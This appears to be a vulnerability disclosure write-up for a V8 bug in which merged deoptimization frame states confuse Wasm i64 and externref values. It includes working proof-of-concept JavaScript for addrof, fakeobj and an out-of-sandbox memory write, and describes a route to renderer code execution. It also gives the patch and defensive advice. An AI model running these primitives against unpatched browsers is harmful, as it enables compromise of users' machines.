
Executive Summary
CVE-2026-6307 is a single V8 vulnerability that crosses two security boundaries at once. The root cause is a missing field comparison in the equality operator for FrameStateFunctionInfo: when TurboFan inlines two JS-to-Wasm calls whose wrappers differ only in their WebAssembly return type, the resulting continuation FrameState nodes look identical to the optimizer. Global value numbering (common subexpression elimination) merges them, and the surviving node carries the wrong return-kind metadata. If execution later takes a lazy deoptimization exit, the deoptimizer reinterprets the raw 64 bits in the return register according to that wrong kind — materializing a Wasm i64 as a JavaScript object reference, or an externref as a BigInt.
That primitive is unusually clean. It hands the attacker addrof and fakeobj with a 100% success rate and no heap spraying, because the confusion is deterministic rather than probabilistic. Because the attacker fully controls the i64, the forged reference can point outside the V8 heap sandbox — so the same bug that yields arbitrary read/write inside the sandbox also provides a sandbox escape and, ultimately, remote code execution in the renderer. The flaw was reachable from Chrome 106 onward, meaning it sat latent for roughly four years before being reported. The sections below rebuild the necessary V8 background (TurboFan, Sea of Nodes, JS-to-Wasm inlining, deoptimization, and the heap sandbox), then walk through the bug and its exploitation step by step.
Background
To understand the bug you need four moving parts: how TurboFan optimizes JavaScript, how it represents programs as a Sea of Nodes, how it inlines JS-to-Wasm calls, and how deoptimization reconstructs interpreter state. Readers who already know V8 internals can skip straight to The Bug.
TurboFan
TurboFan is V8’s optimizing compiler. A function first runs through the Ignition bytecode interpreter, which records feedback — object shapes, call targets, value representations — into feedback vectors. Once a function is hot enough, TurboFan turns that bytecode plus feedback into a compiler graph, applies high-level JavaScript optimizations, and lowers the graph toward machine operations. The lower-level representation, where value numbering happens and where this bug lives, is Turboshaft.
The compiler’s job is to replace generic JavaScript with specialized machine code while keeping a correct generic fallback available. It can inline callees, specialize property accesses, and emit guard checks that encode the assumptions it made from feedback. When one of those assumptions turns out to be false at run time, the guard fails and the engine deoptimizes back to a lower tier.
Sea of Nodes
TurboFan represents a function as a graph of operations connected by three kinds of edges: value inputs, control inputs, and effect inputs. Instead of asking “which basic block is this in, and in what order?”, the graph asks “what does this operation depend on, and where may it legally be placed?” That freedom is what enables common subexpression elimination, global value numbering, dead-code elimination, code motion, and bounds-check elimination. Consider:
function f(x, y, z) {
let a = x + y;
let b = y + z;
if (a > 0)
return b * 2;
else
return b * 3;
}
In a classic control-flow graph, b = y + z lives in a specific block in a specific order. In the Sea of Nodes it is simply an Add node that depends on y and z and can float to wherever is legal. The crucial point for this bug is that calls, guard checks, and deoptimization metadata all live in the same graph. When TurboFan inlines a callee, the callee’s operations are spliced into the caller’s graph, and any inlined operation that can trigger deoptimization gets a FrameState node describing how to rebuild the interpreter frame if optimized execution cannot continue. FrameState nodes are metadata, but optimization passes still reason about them — and two JS-to-Wasm continuation FrameState nodes can look equivalent to the optimizer even when they describe different Wasm return types. That is the seed of the vulnerability.
JS-to-Wasm call inlining
JavaScript and WebAssembly use different calling conventions and value representations, so a normal JS-to-Wasm call goes through a JS-to-Wasm wrapper: it converts JavaScript arguments into Wasm values, performs the Wasm call, and converts the Wasm result back into a JavaScript value. TurboFan can inline that wrapper directly into the optimized JavaScript caller, eliminating the separate wrapper call and exposing the argument/result conversions to the optimizer. Full Wasm-body inlining is not required — wrapper inlining alone is enough to trigger this bug.
In the exploit, the JS-to-Wasm call is reached through a JavaScript property getter. After warmup, TurboFan specializes the property access, checks the receiver’s shape, calls the known getter directly, and inlines the JS-to-Wasm wrapper. If the same JavaScript function observes two receiver shapes, the optimized graph contains two getter paths — and therefore two inlined wrappers — in one compiled function. Each inlined wrapper is built from a canonical Wasm function signature; canonicalization lets V8 share one signature object across structurally equivalent function types. The signature encodes parameter and return types, which is more precise than a mere argument count. Two return types matter here: a Wasm i64, which is exposed to JavaScript as a BigInt, and an externref, which is a tagged JavaScript reference. For (func (result i64)) the return register holds a raw 64-bit integer that the wrapper must box into a BigInt; for (func (result externref)) the same register already holds a tagged reference. The machine-level return location is identical — only the wrapper’s signature decides how those bits are converted back to JavaScript.
Deoptimization
Deoptimization replaces an active optimized frame with one or more frames that let execution continue in a lower tier. To do that it must recover the state the unoptimized function expects: parameters, locals, context, bytecode position, and any inlined frames. Optimized code does not necessarily keep values in their original form — a local might sit in a register, be folded to a constant, or be eliminated entirely — so the compiler attaches deoptimization metadata at every point where execution might leave optimized code. In TurboFan/Turboshaft that metadata is a FrameState node, which holds the values needed to rebuild the frame, an outer FrameState for inlined operations, and a FrameStateInfo describing the frame kind, continuation point, and function-specific metadata. These states nest: if a getter and a JS-to-Wasm wrapper are both inlined, the inner continuation state points at the outer JavaScript state, and the deoptimizer walks the chain to recreate a logical call stack even though those calls no longer exist as separate physical frames.
There are two flavors. Eager deoptimization fires immediately when a guard fails, with every value needed for reconstruction available at the deopt point. Lazy deoptimization is tied to a call: the optimized function is marked for deoptimization while some other function runs, and the transition only happens when the call returns. Lazy deopt needs special handling for the call result — it does not exist yet when the FrameState is created, so it is not a normal input. Instead the deoptimizer pulls it from the machine return register and appends it to the continuation frame, then resumes through a continuation builtin as if the optimized call had returned normally. For a JS-to-Wasm call inlined by TurboFan, V8 creates an inner continuation FrameState of type kJSToWasmBuiltinContinuation, whose function info is a derived class that stores the Wasm signature:
class JSToWasmFrameStateFunctionInfo : public FrameStateFunctionInfo {
public:
const wasm::CanonicalSig* signature() const { return signature_; }
private:
const wasm::CanonicalSig* const signature_;
};
That signature is not merely informational. During code generation V8 derives the Wasm return kind from it and serializes the kind into the deoptimization data. If a lazy deopt later occurs, the deoptimizer uses that recorded return kind — not the original call target — to materialize the result.
Materializing Wasm return values
On a JS-to-Wasm lazy deopt the Wasm call has already returned at the machine level, so the deoptimizer reconstructs the result from the return register together with the recorded return kind:
TranslatedValue Deoptimizer::TranslatedValueForWasmReturnKind(
std::optional<wasm::ValueKind> wasm_call_return_kind) {
if (wasm_call_return_kind) {
switch (wasm_call_return_kind.value()) {
case wasm::kI32:
return TranslatedValue::NewInt32(
&translated_state_,
static_cast<int32_t>(input_->GetRegister(kReturnRegister0.code())));
case wasm::kI64:
return TranslatedValue::NewInt64ToBigInt(
&translated_state_,
static_cast<int64_t>(input_->GetRegister(kReturnRegister0.code())));
case wasm::kF32:
return TranslatedValue::NewFloat(
&translated_state_,
input_->GetFloatRegister(wasm::kFpReturnRegisters[0].code()));
case wasm::kF64:
return TranslatedValue::NewDouble(
&translated_state_,
input_->GetDoubleRegister(wasm::kFpReturnRegisters[0].code()));
case wasm::kRefNull:
case wasm::kRef:
return TranslatedValue::NewTagged(
&translated_state_,
Tagged<Object>(input_->GetRegister(kReturnRegister0.code())));
default:
UNREACHABLE();
}
}
return TranslatedValue::NewTagged(&translated_state_,
ReadOnlyRoots(isolate()).undefined_value());
}
Notice that the deoptimizer never asks the original Wasm function what it returned — it trusts wasm_call_return_kind as serialized from the FrameState. Both kI64 and the reference cases read the same register, kReturnRegister0; only the interpretation differs. kI64 casts the value to int64_t and boxes it as a BigInt, while kRef/kRefNull wrap it as a Tagged<Object>. This is exactly why confusing externref with i64 leaks the full 64-bit tagged value. Even on pointer-compression builds, Wasm reference values in the compiler graph use a tagged register representation: by the time the deoptimizer reads kReturnRegister0, there is no separate “32-bit compressed pointer plus cage base” pair — the register already holds the full tagged value. So a wrong recorded return kind causes the deoptimizer to directly reinterpret the same 64 bits as the wrong JavaScript value.
FrameState merging
Before they are serialized into deoptimization data, FrameState nodes are ordinary graph nodes, and graph optimizations see them. The relevant pass is common subexpression elimination, also called global value numbering: if two nodes have the same inputs and equivalent metadata, the compiler keeps the first and redirects the second’s uses to it. For FrameState nodes, that means two deoptimization states are merged — which is only safe when the states are truly interchangeable. Turboshaft first uses a quick hash to find candidate matches, then uses equality operators for the full comparison:
return lhs.frame_state_info == rhs.frame_state_info &&
lhs.instructions == rhs.instructions &&
lhs.machine_types == rhs.machine_types &&
lhs.int_operands == rhs.int_operands;
The FrameState hash intentionally covers only a small part of the metadata (including the bailout ID), so hash collisions are expected and are not themselves a bug. The correctness boundary is the equality comparison: if it declares two semantically different deoptimization states equal, one replaces the other. Every field that could change frame reconstruction must therefore be part of that comparison.
The V8 Heap Sandbox
The V8 heap sandbox is in-process, software-based fault isolation. It assumes that a classic V8 memory-corruption bug will hand the attacker addrof/fakeobj and arbitrary read/write, and its goal is to confine the damage to a subset of the process’s virtual address space — the sandbox region — so that corruption inside it cannot trivially reach the rest of the process. Conceptually it adds an extra address-translation layer to every memory access. (If that reminds you of virtual-memory translation from an operating-systems course, that is a good intuition.)
Address translation
The sandbox is currently a 1 TB region that holds all V8 heaps — a 4 GB pointer-compression cage at the start of the sandbox — plus ArrayBuffer backing stores and Wasm backing buffers. Addressing works as follows:
- Compressed pointer: a 32-bit pointer used inside the sandbox. The compressed-pointer cage sits at the sandbox start; dereferencing a compressed pointer adds the cage base to it to get the real address inside the sandbox region.
- Sandboxed pointer: objects inside the sandbox are referenced with a 40-bit offset from the sandbox base.
- Pointer tables: objects that must live outside the sandbox are referenced through pointer tables (also outside the sandbox), such as the
CodePointerTable,TrustedPointerTable, andExternalPointerTable. Each table stores the real out-of-sandbox address together with an inlined type tag. Out-of-bounds access is prevented by reserving a fixed-size virtual-memory block per table at initialization and indexing with left-shifted indices.

The takeaway: the sandbox implements an address-translation system, and a pointer that can be made to point outside that 1 TB region defeats the entire model — which is precisely what this bug allows.
The Bug
The defect is in the equality operator for FrameStateFunctionInfo:
bool operator==(FrameStateFunctionInfo const& lhs,
FrameStateFunctionInfo const& rhs) {
// ...
return lhs.type() == rhs.type() &&
lhs.parameter_count() == rhs.parameter_count() &&
lhs.max_arguments() == rhs.max_arguments() &&
lhs.local_count() == rhs.local_count() &&
lhs.shared_info().equals(rhs.shared_info()) &&
lhs.bytecode_array().equals(rhs.bytecode_array());
}
JSToWasmFrameStateFunctionInfo inherits from FrameStateFunctionInfo and adds a signature_ field. But the equality operator takes base-class references and compares only base-class fields — it never compares the Wasm signatures. The omission is easy to miss because the base class already carries several Wasm-specific fields (the Wasm function index, the Liftoff frame size) that are checked earlier in the full operator; those belong to other Wasm frame-state types and do nothing to distinguish the derived JS-to-Wasm continuation’s signature.
The problem surfaces when one optimized JavaScript function calls two Wasm getters that share a parameter list but differ in return type. The regression can be triggered with functions equivalent to:
builder.addFunction('return_ref', kSig_r_v)
.addBody([kExprCallFunction, callback_index,
kExprGlobalGet, g_ref.index]);
builder.addFunction('return_i64', kSig_l_v)
.addBody([kExprCallFunction, callback_index,
kExprGlobalGet, g_i64.index]);
Both functions take no parameters and both JS-to-Wasm continuation states use the same continuation builtin, so under the faulty operator their metadata is identical:
| Field | externref state | i64 state |
|---|---|---|
| type | JS-to-Wasm continuation | JS-to-Wasm continuation |
| parameter_count | 0 | 0 |
| max_arguments | 0 | 0 |
| local_count | 0 | 0 |
| shared_info | empty | empty |
| bytecode_array | empty | empty |
| signature | () → externref (not compared) | () → i64 (not compared) |
signature field is never compared. Source: original article.parameter_count describes the explicit inputs to the continuation builtin; it does not encode the Wasm return type. So () -> externref and () -> i64 can present identical base-class metadata even though their results require completely different materialization. The next layer up, FrameStateData::operator==, relies on that comparison to decide whether the metadata on two FrameState nodes is equal:
return lhs.frame_state_info == rhs.frame_state_info &&
lhs.instructions == rhs.instructions &&
lhs.machine_types == rhs.machine_types &&
lhs.int_operands == rhs.int_operands;
That comparison runs through FrameStateInfo::operator==, which checks the bailout ID and the state-combine mode before delegating to FrameStateFunctionInfo::operator==. Both call sites use the bytecode offset for JSToWasmLazyDeoptContinuation, so the outer fields match; the only distinguishing metadata is the omitted derived field. When the remaining inputs also match, common subexpression elimination concludes the two frame states are the same, removes one, and redirects its uses to the other. Which signature survives depends on which node is retained — and either direction is unsafe.
Nothing goes wrong at the moment of the merge. A FrameState is metadata, not an operation on the normal path, so both Wasm calls still return correctly and the optimized function stays valid. The mismatch only becomes observable if execution takes a deoptimization exit that consumes the incorrectly shared state.

To give TurboFan both call targets in one function, the exploit installs the two Wasm getters on two prototypes and calls a single accessor function over both:
Object.defineProperty(ProtoForI64.prototype, 'x',
{get: exports_.return_i64});
Object.defineProperty(ProtoForRef.prototype, 'x',
{get: exports_.return_ref});
function foo(o) {
return o.x;
}
During warmup, foo is called with instances of both prototypes, so TurboFan specializes the property access for both receiver shapes and inlines the corresponding JS-to-Wasm wrappers — producing the two continuation FrameStates that CSE can wrongly merge. The Wasm functions first call an imported JavaScript callback and then load their return value from a mutable global; the callback mutates one prototype after foo has been optimized:
const exports_ = makeInstance(() => {
if (arm_deopt) {
ProtoForRef.prototype.deopt_marker = 1;
}
});
Changing the prototype invalidates an assumption baked into the optimized code and marks foo for deoptimization. Because foo is suspended below a JS-to-Wasm call, the actual transition is a lazy deopt that happens when the Wasm call returns. During code generation, the surviving signature was already collapsed into a single return_kind in the JSToWasmFrameStateDescriptor and serialized into the deoptimization translation; the original call target is no longer consulted, so there is no later opportunity to notice that the serialized return kind belongs to the other path.
At the deopt exit the deoptimizer consults the merged continuation state. Suppose the actual call returns an externref but the surviving FrameState records i64: the deoptimizer reads the tagged reference out of the return register as a raw 64-bit integer and boxes it as a BigInt, exposing the pointer bits as an integer. The reverse is worse: if the actual call returns an attacker-controlled i64 but the surviving state records externref, the deoptimizer treats those 64 bits as a tagged JavaScript reference — no BigInt conversion, no validation — because the metadata insists the register already holds a reference. The result is a direct confusion between a Wasm i64 and a JavaScript object reference:
actual externref + recorded i64 => address exposed as BigInt actual i64 + recorded externref => integer treated as object reference
Those two directions are exactly the addrof and fakeobj primitives used next.
Exploitation
Getting addrof and fakeobj
With i64/externref confusion in hand, the initial primitives are straightforward. First, build a Wasm instance with two functions that share a parameter signature but differ in return type — the faulty comparison ignores the return type when deciding call-site compatibility:
function makeInstance(callback) {
const builder = new WasmModuleBuilder();
const callback_index = builder.addImport('env', 'callback', kSig_v_v);
const g_ref = builder.addGlobal(kWasmExternRef, true, false).exportAs('g_ref');
const g_i64 = builder.addGlobal(kWasmI64, true, false).exportAs('g_i64');
builder.addFunction('rr', kSig_r_v)
.addBody([
kExprCallFunction, callback_index,
kExprGlobalGet, g_ref.index,
])
.exportFunc();
builder.addFunction('rl', kSig_l_v)
.addBody([
kExprCallFunction, callback_index,
kExprGlobalGet, g_i64.index,
])
.exportFunc();
return builder.instantiate({env: {callback}}).exports;
}
To leak an address, place the target object in the externref global but force the deoptimizer to materialize the result with the i64 return type:
function addrof(target) {
let arm_deopt = false;
function LeakI64() {}
function LeakRef() {}
const exports_ = makeInstance(() => {
if (arm_deopt) {
LeakRef.prototype.deopt_marker = 1;
}
});
Object.defineProperty(LeakI64.prototype, 'x',
{get: exports_.rl, configurable: true});
Object.defineProperty(LeakRef.prototype, 'x',
{get: exports_.rr, configurable: true});
function foo(o) {
return o.x;
}
const a = new LeakI64();
const b = new LeakRef();
exports_.g_ref.value = target;
exports_.g_i64.value = 43n;
%PrepareFunctionForOptimization(foo);
for (let i = 0; i < 20; ++i) {
foo(a);
foo(b);
}
%OptimizeFunctionOnNextCall(foo);
foo(a);
arm_deopt = true;
return foo(b);
}
The final call invokes the externref getter, but the value is reconstructed as an i64, exposing the full 64-bit tagged pointer of target — an addrof primitive. The mirror image gives fakeobj: put an attacker i64 in the global and force materialization as an externref:
function fakeobj(addr) {
let arm_deopt = false;
function MaterializeRef() {}
function MaterializeI64() {}
const exports_ = makeInstance(() => {
if (arm_deopt) {
MaterializeI64.prototype.deopt_marker = 1;
}
});
Object.defineProperty(MaterializeRef.prototype, 'x',
{get: exports_.rr, configurable: true});
Object.defineProperty(MaterializeI64.prototype, 'x',
{get: exports_.rl, configurable: true});
function foo(o) {
return o.x;
}
const a = new MaterializeRef();
const b = new MaterializeI64();
exports_.g_ref.value = {marker: 1};
exports_.g_i64.value = addr;
%PrepareFunctionForOptimization(foo);
for (let i = 0; i < 20; ++i) {
foo(a);
foo(b);
}
%OptimizeFunctionOnNextCall(foo);
foo(a);
arm_deopt = true;
const result = foo(b);
return result;
}
The returned i64 is reconstructed as a tagged reference, so an attacker-controlled address is now treated as a JavaScript object.
Writing outside the sandbox
A freshly materialized reference is dereferenced normally even when the underlying pointer lies outside the V8 sandbox. Why can the pointer live outside? Because the deoptimizer materializes the i64 as a reference while the i64 value is fully attacker-controlled — so it can point at memory outside the sandbox. V8 also supports in-object properties stored directly on the object, which is the layout the exploit abuses:

Because references can be forged across the full 64-bit address range, the attacker can forge an object pointer with a valid map that lives outside the sandbox:
function confuseI64AsRefAndStore(ptr, value, real) {
let arm_deopt = false;
function ProtoForRef() {}
function ProtoForI64() {}
const exports_ = makeInstance(() => {
if (arm_deopt) ProtoForI64.prototype.deopt_marker = 1;
});
Object.defineProperty(ProtoForRef.prototype, 'x', {get: exports_.return_ref});
Object.defineProperty(ProtoForI64.prototype, 'x', {get: exports_.return_i64});
function foo(o, v, do_store) {
const r = o.x;
if (do_store) r.p = v;
return r;
}
const obj_ref = new ProtoForRef();
const obj_i64 = new ProtoForI64();
exports_.g_ref.value = real;
exports_.g_i64.value = ptr;
%PrepareFunctionForOptimization(foo);
for (let i = 0; i < 30; ++i) {
foo(obj_ref, 1, true);
foo(obj_i64, 1, false);
}
%OptimizeFunctionOnNextCall(foo);
foo(obj_ref, 1, true);
arm_deopt = true;
return foo(obj_i64, value, true);
}
During warmup the property store executes only on a real object, so TurboFan optimizes r.p = v as an ordinary in-object property store. On the final invocation the i64 getter is used instead: the deoptimizer materializes the i64 as a tagged reference, and the optimized store is performed relative to the forged object pointer. As long as a valid map and properties field are present ahead of the chosen write target, the object passes the required layout checks and the in-object store lands at the address named by the i64. Because the map pointer is also attacker-controlled — and although the write offset from the map+properties qword is not arbitrarily large — the store can still reach far enough to hit interesting targets.
Writing to JIT memory
A convenient target is JIT memory. Arbitrary qwords can first be staged as literals in a JITed region — for example, a JITed function that returns an array of doubles — which places disjoint qwords into executable-adjacent memory without needing a prior write primitive. The property store can then patch a nearby instruction: even a tagged-SMI write is enough to drop a short relative jump just after the staged qwords, redirecting execution into the smuggled shellcode and achieving code execution in the renderer process.
Key Takeaways
- A single missing field comparison — the Wasm
signature_inJSToWasmFrameStateFunctionInfo— is enough to make two semantically different deoptimization states compare equal. - The bug lives in metadata equality, not on the hot path: nothing crashes at merge time; the mismatch only manifests on a lazy deoptimization exit that consumes the shared
FrameState. - Confusing Wasm
i64withexternrefgives bothaddrof(leak a pointer as aBigInt) andfakeobj(treat an integer as an object reference) with a 100% success rate and no heap spraying. - Because the fabricated
i64is fully attacker-controlled, the forged reference can point outside the 1 TB V8 heap sandbox — so one bug yields both in-sandbox arbitrary read/write and a sandbox escape. - Staging qwords in JIT memory and patching a nearby instruction with a small store turns the primitive into renderer RCE.
- The flaw was reachable from Chrome 106 through 147, roughly four years of exposure before it was reported and fixed.
Defensive Recommendations
- Patch promptly. Ensure Chrome/Chromium is at or beyond 147.0.7727.101 across the fleet; treat renderer RCE + sandbox escape as critical and enforce auto-update.
- Extend equality invariants in derived metadata. When a subclass adds a field that affects semantics (like the Wasm signature), the base-class
operator==and any hashing/GVN comparison must account for it. Back this with astatic_asserton struct size so new fields fail the build until handled — exactly what the upstream fix does. - Fuzz the deopt/GVN boundary. Differential and structure-aware fuzzing that mixes JS-to-Wasm calls, multiple receiver shapes, and forced lazy deopts is well suited to catching FrameState-merging regressions.
- Keep the V8 sandbox enabled and layered. The sandbox is defense-in-depth, not a hard guarantee; pair it with the renderer OS sandbox, site isolation, and
--jitlessor the V8 sandbox hardening flags where the workload allows. - Reduce attack surface for high-risk users. Chrome’s site-isolation and its stricter security modes limit what a compromised renderer can reach; consider disabling the WebAssembly and JIT tiers in locked-down deployments.
- Monitor for renderer exploitation. Unexpected renderer crashes, JIT-region anomalies, and suspicious child-process behavior are useful telemetry for post-patch hunting.
Timeline
- 2026-03-29 — Vulnerability reported to Google.
- 2026-03-30 — Google acknowledged and began investigation.
- 2026-03-31 — Root cause identified; fix completed.
- 2026-04-07 — Fix released in Chrome 147.0.7727.101.
- 2026-06-29 — Public disclosure via blog post.
Mitigation
The fix repairs the faulty equality operator by adding an explicit signature comparison for JS-to-Wasm continuation states, and adds static_asserts on the struct sizes so a future added field forces the comparison to be revisited. The upstream patch to src/compiler/frame-states.cc:
diff --git a/src/compiler/frame-states.cc b/src/compiler/frame-states.cc
index 7c15107243d..5312f07b5fe 100644
--- a/src/compiler/frame-states.cc
+++ b/src/compiler/frame-states.cc
@@ -37,11 +37,12 @@ std::ostream& operator<<(std::ostream& os, OutputFrameStateCombine const& sc) {
bool operator==(FrameStateFunctionInfo const& lhs,
FrameStateFunctionInfo const& rhs) {
#if V8_HOST_ARCH_X64
-// If this static_assert fails, then you've probably added a new field to
-// FrameStateFunctionInfo. Make sure to take it into account in this equality
-// function, and update the static_assert.
+// If these static_asserts fail, then you've probably added a new field to
+// FrameStateFunctionInfo or JSToWasmFrameStateFunctionInfo. Make sure to
+// take it into account in this function, and update the static_assert.
#if V8_ENABLE_WEBASSEMBLY
static_assert(sizeof(FrameStateFunctionInfo) == 40);
+ static_assert(sizeof(JSToWasmFrameStateFunctionInfo) == 48);
#else
static_assert(sizeof(FrameStateFunctionInfo) == 32);
#endif
@@ -52,6 +53,18 @@ bool operator==(FrameStateFunctionInfo const& lhs,
lhs.wasm_function_index() != rhs.wasm_function_index()) {
return false;
}
+
+ // JSToWasmFrameStateFunctionInfo has an additional signature_ field.
+ // Two frame states with different wasm signatures must not compare equal,
+ // otherwise CSE/GVN can merge them and the deoptimizer will use the wrong
+ // signature to materialize the continuation frame.
+ if (lhs.type() == FrameStateType::kJSToWasmBuiltinContinuation &&
+ rhs.type() == FrameStateType::kJSToWasmBuiltinContinuation) {
+ if (static_cast<const JSToWasmFrameStateFunctionInfo&>(lhs).signature() !=
+ static_cast<const JSToWasmFrameStateFunctionInfo&>(rhs).signature()) {
+ return false;
+ }
+ }
Affected versions
The vulnerability existed from Chrome 106 through Chrome 147 (pre-fix). It was patched in Chrome 147.0.7727.101, so every released build between 106 and 147 was affected.
Conclusion
CVE-2026-6307 is a compact reminder that the most dangerous bugs are often the smallest: a single un-compared field in a metadata equality operator let global value numbering fuse two deoptimization states, and that fusion cascaded into a deterministic i64/externref type confusion. From there the attacker gets reliable addrof/fakeobj, arbitrary read/write, a V8 heap sandbox escape, and renderer RCE — two security boundaries pierced by one vulnerability, with no spraying and a 100% success rate. It also underscores why derived-class invariants and struct-size assertions matter: the fix is a few lines, but the discipline it encodes is what would have prevented four years of exposure. The V8 team acknowledged the researchers’ report and moved quickly to investigate and remediate the issue.
Original text: “Longinus: 2 Boundaries in One Bug, Piercing Chrome’s Renderer and V8 Sandbox with a Single Vulnerability, CVE-2026-6307” by Nebula Security at NebuSec. Disclosure followed Nebula Security’s standard 90+30 day policy. The V8 team was thanked for their quick response and thorough investigation.


